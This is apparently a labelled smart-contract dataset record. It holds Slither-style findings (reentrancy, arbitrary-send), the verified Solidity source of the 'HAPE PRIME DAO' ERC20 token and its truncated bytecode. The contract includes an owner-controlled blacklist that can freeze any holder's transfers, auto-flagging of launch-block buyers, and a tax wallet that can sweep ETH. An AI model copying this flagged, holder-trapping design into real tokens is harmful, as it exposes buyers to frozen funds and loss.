26b8565b9150613185836126b8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131ba576131b9612b61565b5b828201905092915050565b60006131d0826126b8565b91506131db836126b8565b9250828210156131ee576131ed612b61565b5b828203905092915050565b6000613204826126b8565b915061320f836126b8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561324857613247612b61565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061328d826126b8565b9150613298836126b8565b9250826132a8576132a7613253565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600061330f602183612596565b915061331a826132b3565b604082019050919050565b6000602082019050818103600083015261333e81613302565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006133a1602a83612596565b91506133ac82613345565b604082019050919050565b600060208201905081810360008301526133d081613394565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61340c8161267a565b82525050565b600061341e8383613403565b60208301905092915050565b6000602082019050919050565b6000613442826133d7565b61344c81856133e2565b9350613457836133f3565b8060005b8381101561348857815161346f8882613412565b975061347a8361342a565b92505060018101905061345b565b5085935050505092915050565b600060a0820190506134aa6000830188612764565b6134b76020830187612ce6565b81810360408301526134c98186613437565b90506134d860608301856128cb565b6134e56080830184612764565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613525601b83612596565b9150613530826134ef565b602082019050919050565b6000602082019050818103600083015261355481613518565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c575cec8b79f831434dfdd0640192bb95d0d142ae43e2e2b0fa13c12266a699c64736f6c634300080b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,143
0x10cacd44db987c058165fe01468b12082d920582
/** *Submitted for verification at Etherscan.io on 2022-01-21 */ /* ██╗ ██╗██╗ ██╗██████╗ ███████╗ ██████╗ ██████╗ ██╗███╗ ███╗███████╗ ██║ ██║██║ ██║██╔══██╗██╔════╝ ██╔══██╗██╔══██╗██║████╗ ████║██╔════╝ ███████║███████║██████╔╝█████╗ ██████╔╝██████╔╝██║██╔████╔██║█████╗ ██╔═══██║██╔═══ ██║██╔═══╝ ██╔══╝ ██╔═══╝ ██╔══██╗██║██║╚██╔╝██║██╔══╝ ██║ ██║███████╗██║ ███████╗ ██║ ██║ ██║██║██║ ╚═╝ ██║███████╗ ╚═╝ ╚═╝ ╚════════╝╚═╝ ╚══════╝ ╚═╝ ╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚══════╝ ██████╗ ██╗ ██╗ ██████╗ ██╔══██╗██║ ██║██╔═══██╗ ██║ ██║███████║██║ ██║ ██║ ██║██╔══██║██║ ██║ ██████╔╝███████╗╚██████╔╝ ╚═════╝ ╚══════╝ ╚═════╝ Telegram: https://t.me/HapeprimeDao Website: https://hapeprimedao.com/ */ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract HAPEPRIMEDAO is Context, IERC20, Ownable { mapping (address => uint) private _owned; mapping (address => mapping (address => uint)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; mapping (address => User) private cooldown; uint private constant _totalSupply = 1e10 * 10**9; string public constant name = unicode"HAPE PRIME DAO"; string public constant symbol = unicode"HAPEPRIME DAO"; uint8 public constant decimals = 9; IUniswapV2Router02 private uniswapV2Router; address payable public _TaxAdd; address public uniswapV2Pair; uint public _buyFee = 15; uint public _sellFee = 15; uint private _feeRate = 15; uint public _maxBuyAmount; uint public _maxHeldTokens; uint public _launchedAt; bool private _tradingOpen; bool private _inSwap = false; bool public _useImpactFeeSetter = false; struct User { uint buy; bool exists; } event FeeMultiplierUpdated(uint _multiplier); event ImpactFeeSetterUpdated(bool _usefeesetter); event FeeRateUpdated(uint _rate); event FeesUpdated(uint _buy, uint _sell); event TaxAddUpdated(address _taxwallet); modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor (address payable TaxAdd) { _TaxAdd = TaxAdd; _owned[address(this)] = _totalSupply; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[TaxAdd] = true; emit Transfer(address(0), address(this), _totalSupply); } function balanceOf(address account) public view override returns (uint) { return _owned[account]; } function transfer(address recipient, uint amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function totalSupply() public pure override returns (uint) { return _totalSupply; } function allowance(address owner, address spender) public view override returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public override returns (bool) { if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){ if (recipient == tx.origin) _isBot[recipient] = true; } _transfer(sender, recipient, amount); uint allowedAmount = _allowances[sender][_msgSender()] - amount; _approve(sender, _msgSender(), allowedAmount); return true; } function _approve(address owner, address spender, uint amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint amount) private { require(!_isBot[from] && !_isBot[to] && !_isBot[msg.sender]); require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); bool isBuy = false; if(from != owner() && to != owner()) { if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(_tradingOpen, "Trading not yet enabled."); if (block.timestamp == _launchedAt) _isBot[to] = true; if((_launchedAt + (10 minutes)) > block.timestamp) { require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); } if(!cooldown[to].exists) { cooldown[to] = User(0,true); } if((_launchedAt + (10 minutes)) > block.timestamp) { require(amount <= _maxBuyAmount, "Exceeds maximum buy amount."); require(cooldown[to].buy < block.timestamp + (30 seconds), "Your buy cooldown has not expired."); } cooldown[to].buy = block.timestamp; isBuy = true; } if(!_inSwap && _tradingOpen && from != uniswapV2Pair) { require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired."); uint contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > 0) { if(_useImpactFeeSetter) { if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) { contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100; } } swapTokensForEth(contractTokenBalance); } uint contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } isBuy = false; } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee,isBuy); } function swapTokensForEth(uint tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint amount) private { _TaxAdd.transfer(amount); } function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private { (uint fee) = _getFee(takefee, buy); _transferStandard(sender, recipient, amount, fee); } function _getFee(bool takefee, bool buy) private view returns (uint) { uint fee = 0; if(takefee) { if(buy) { fee = _buyFee; } else { fee = _sellFee; } } return fee; } function _transferStandard(address sender, address recipient, uint amount, uint fee) private { (uint transferAmount, uint team) = _getValues(amount, fee); _owned[sender] = _owned[sender] - amount; _owned[recipient] = _owned[recipient] + transferAmount; _takeTeam(team); emit Transfer(sender, recipient, transferAmount); } function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) { uint team = (amount * teamFee) / 100; uint transferAmount = amount - team; return (transferAmount, team); } function _takeTeam(uint team) private { _owned[address(this)] = _owned[address(this)] + team; } receive() external payable {} // external functions function addLiquidity() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); _tradingOpen = true; _launchedAt = block.timestamp; _maxBuyAmount = 350000000 * 10**9; _maxHeldTokens = 350000000 * 10**9; // max buy and held: 350_000_000 } function manualswap() external { require(_msgSender() == _TaxAdd); uint contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _TaxAdd); uint contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setFeeRate(uint rate) external { require(_msgSender() == _TaxAdd); require(rate > 0, "can't be zero"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setFees(uint buy, uint sell) external { require(_msgSender() == _TaxAdd); require(buy < 15 && sell < 15 && buy < _buyFee && sell < _sellFee, "Not higher than orignal rate."); _buyFee = buy; _sellFee = sell; emit FeesUpdated(_buyFee, _sellFee); } function toggleImpactFee(bool onoff) external { require(_msgSender() == _TaxAdd); _useImpactFeeSetter = onoff; emit ImpactFeeSetterUpdated(_useImpactFeeSetter); } function updateTaxAdd(address newAddress) external { require(_msgSender() == _TaxAdd); _TaxAdd = payable(newAddress); emit TaxAddUpdated(_TaxAdd); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } function setBots(address[] memory bots_) external onlyOwner() { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) external { require(_msgSender() == _TaxAdd); for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } }
0x6080604052600436106101e75760003560e01c8063590f897e11610102578063a9059cbb11610095578063db92dbb611610064578063db92dbb6146106a7578063dcb0e0ad146106d2578063dd62ed3e146106fb578063e8078d9414610738576101ee565b8063a9059cbb14610613578063b515566a14610650578063c3c8cd8014610679578063c9567bf914610690576101ee565b806373f54a11116100d157806373f54a11146105695780638da5cb5b1461059257806394b8d8f2146105bd57806395d89b41146105e8576101ee565b8063590f897e146104d35780636fc3eaec146104fe57806370a0823114610515578063715018a614610552576101ee565b806327f3a72a1161017a5780633bbac579116101495780633bbac5791461041757806340b9a54b1461045457806345596e2e1461047f57806349bd5a5e146104a8576101ee565b806327f3a72a1461036d578063313ce5671461039857806331c2d847146103c357806332d873d8146103ec576101ee565b8063104ce66d116101b6578063104ce66d146102af57806318160ddd146102da5780631940d0201461030557806323b872dd14610330576101ee565b80630492f055146101f357806306fdde031461021e578063095ea7b3146102495780630b78f9c014610286576101ee565b366101ee57005b600080fd5b3480156101ff57600080fd5b5061020861074f565b6040516102159190612c44565b60405180910390f35b34801561022a57600080fd5b50610233610755565b6040516102409190612cf8565b60405180910390f35b34801561025557600080fd5b50610270600480360381019061026b9190612db8565b61078e565b60405161027d9190612e13565b60405180910390f35b34801561029257600080fd5b506102ad60048036038101906102a89190612e2e565b6107ac565b005b3480156102bb57600080fd5b506102c46108c5565b6040516102d19190612e8f565b60405180910390f35b3480156102e657600080fd5b506102ef6108eb565b6040516102fc9190612c44565b60405180910390f35b34801561031157600080fd5b5061031a6108fb565b6040516103279190612c44565b60405180910390f35b34801561033c57600080fd5b5061035760048036038101906103529190612eaa565b610901565b6040516103649190612e13565b60405180910390f35b34801561037957600080fd5b50610382610b11565b60405161038f9190612c44565b60405180910390f35b3480156103a457600080fd5b506103ad610b21565b6040516103ba9190612f19565b60405180910390f35b3480156103cf57600080fd5b506103ea60048036038101906103e5919061307c565b610b26565b005b3480156103f857600080fd5b50610401610c1c565b60405161040e9190612c44565b60405180910390f35b34801561042357600080fd5b5061043e600480360381019061043991906130c5565b610c22565b60405161044b9190612e13565b60405180910390f35b34801561046057600080fd5b50610469610c78565b6040516104769190612c44565b60405180910390f35b34801561048b57600080fd5b506104a660048036038101906104a191906130f2565b610c7e565b005b3480156104b457600080fd5b506104bd610d65565b6040516104ca919061312e565b60405180910390f35b3480156104df57600080fd5b506104e8610d8b565b6040516104f59190612c44565b60405180910390f35b34801561050a57600080fd5b50610513610d91565b005b34801561052157600080fd5b5061053c600480360381019061053791906130c5565b610e03565b6040516105499190612c44565b60405180910390f35b34801561055e57600080fd5b50610567610e4c565b005b34801561057557600080fd5b50610590600480360381019061058b91906130c5565b610f9f565b005b34801561059e57600080fd5b506105a761109d565b6040516105b4919061312e565b60405180910390f35b3480156105c957600080fd5b506105d26110c6565b6040516105df9190612e13565b60405180910390f35b3480156105f457600080fd5b506105fd6110d9565b60405161060a9190612cf8565b60405180910390f35b34801561061f57600080fd5b5061063a60048036038101906106359190612db8565b611112565b6040516106479190612e13565b60405180910390f35b34801561065c57600080fd5b506106776004803603810190610672919061307c565b611130565b005b34801561068557600080fd5b5061068e611340565b005b34801561069c57600080fd5b506106a56113ba565b005b3480156106b357600080fd5b506106bc6114e1565b6040516106c99190612c44565b60405180910390f35b3480156106de57600080fd5b506106f960048036038101906106f49190613175565b611513565b005b34801561070757600080fd5b50610722600480360381019061071d91906131a2565b6115d7565b60405161072f9190612c44565b60405180910390f35b34801561074457600080fd5b5061074d61165e565b005b600d5481565b6040518060400160405280600e81526020017f48415045205052494d452044414f00000000000000000000000000000000000081525081565b60006107a261079b611b0e565b8484611b16565b6001905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107ed611b0e565b73ffffffffffffffffffffffffffffffffffffffff161461080d57600080fd5b600f8210801561081d5750600f81105b801561082a5750600a5482105b80156108375750600b5481105b610876576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086d9061322e565b60405180910390fd5b81600a8190555080600b819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1600a54600b546040516108b992919061324e565b60405180910390a15050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000678ac7230489e80000905090565b600e5481565b6000601060009054906101000a900460ff1680156109695750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156109c25750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b15610a55573273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a54576001600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b610a60848484611ce1565b600082600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610aac611b0e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610af191906132a6565b9050610b0585610aff611b0e565b83611b16565b60019150509392505050565b6000610b1c30610e03565b905090565b600981565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b67611b0e565b73ffffffffffffffffffffffffffffffffffffffff1614610b8757600080fd5b60005b8151811015610c1857600060056000848481518110610bac57610bab6132da565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610c1090613309565b915050610b8a565b5050565b600f5481565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600a5481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610cbf611b0e565b73ffffffffffffffffffffffffffffffffffffffff1614610cdf57600080fd5b60008111610d22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d199061339e565b60405180910390fd5b80600c819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600c54604051610d5a9190612c44565b60405180910390a150565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b5481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd2611b0e565b73ffffffffffffffffffffffffffffffffffffffff1614610df257600080fd5b6000479050610e0081612684565b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610e54611b0e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ee1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed89061340a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610fe0611b0e565b73ffffffffffffffffffffffffffffffffffffffff161461100057600080fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d6600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040516110929190613489565b60405180910390a150565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b601060029054906101000a900460ff1681565b6040518060400160405280600d81526020017f484150455052494d452044414f0000000000000000000000000000000000000081525081565b600061112661111f611b0e565b8484611ce1565b6001905092915050565b611138611b0e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111bc9061340a565b60405180910390fd5b60005b815181101561133c57600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682828151811061121d5761121c6132da565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16141580156112b15750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168282815181106112905761128f6132da565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b15611329576001600560008484815181106112cf576112ce6132da565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b808061133490613309565b9150506111c8565b5050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611381611b0e565b73ffffffffffffffffffffffffffffffffffffffff16146113a157600080fd5b60006113ac30610e03565b90506113b7816126f0565b50565b6113c2611b0e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461144f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114469061340a565b60405180910390fd5b601060009054906101000a900460ff161561149f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611496906134f0565b60405180910390fd5b6001601060006101000a81548160ff02191690831515021790555042600f819055506704db732547630000600d819055506704db732547630000600e81905550565b600061150e600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610e03565b905090565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611554611b0e565b73ffffffffffffffffffffffffffffffffffffffff161461157457600080fd5b80601060026101000a81548160ff0219169083151502179055507ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb601060029054906101000a900460ff166040516115cc9190612e13565b60405180910390a150565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611666611b0e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ea9061340a565b60405180910390fd5b601060009054906101000a900460ff1615611743576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173a906134f0565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506117d230600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16678ac7230489e80000611b16565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561181d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118419190613525565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156118a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118cc9190613525565b6040518363ffffffff1660e01b81526004016118e9929190613552565b6020604051808303816000875af1158015611908573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061192c9190613525565b600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306119b530610e03565b6000806119c061109d565b426040518863ffffffff1660e01b81526004016119e2969594939291906135b6565b60606040518083038185885af1158015611a00573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611a25919061362c565b505050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611ac792919061367f565b6020604051808303816000875af1158015611ae6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b0a91906136bd565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b7d9061375c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611bf6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bed906137ee565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611cd49190612c44565b60405180910390a3505050565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611d855750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ddb5750600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611de457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611e54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e4b90613880565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611ec4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ebb90613912565b60405180910390fd5b60008111611f07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611efe906139a4565b60405180910390fd5b6000611f1161109d565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611f7f5750611f4f61109d565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156125bf57600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561202f5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156120855750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156123bf57601060009054906101000a900460ff166120d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d090613a10565b60405180910390fd5b600f5442141561213c576001600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b42610258600f5461214d9190613a30565b11156121ac57600e5461215f84610e03565b8361216a9190613a30565b11156121ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121a290613af8565b60405180910390fd5b5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900460ff166122865760405180604001604052806000815260200160011515815250600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000820151816000015560208201518160010160006101000a81548160ff0219169083151502179055509050505b42610258600f546122979190613a30565b111561237357600d548211156122e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122d990613b64565b60405180910390fd5b601e426122ef9190613a30565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015410612372576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161236990613bf6565b60405180910390fd5b5b42600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000181905550600190505b601060019054906101000a900460ff161580156123e85750601060009054906101000a900460ff165b80156124425750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156125be57600f426124549190613a30565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154106124d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124ce90613c88565b60405180910390fd5b60006124e230610e03565b9050600081111561259f57601060029054906101000a900460ff1615612595576064600c54612532600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610e03565b61253c9190613ca8565b6125469190613d31565b811115612594576064600c5461257d600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610e03565b6125879190613ca8565b6125919190613d31565b90505b5b61259e816126f0565b5b600047905060008111156125b7576125b647612684565b5b6000925050505b5b600060019050600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a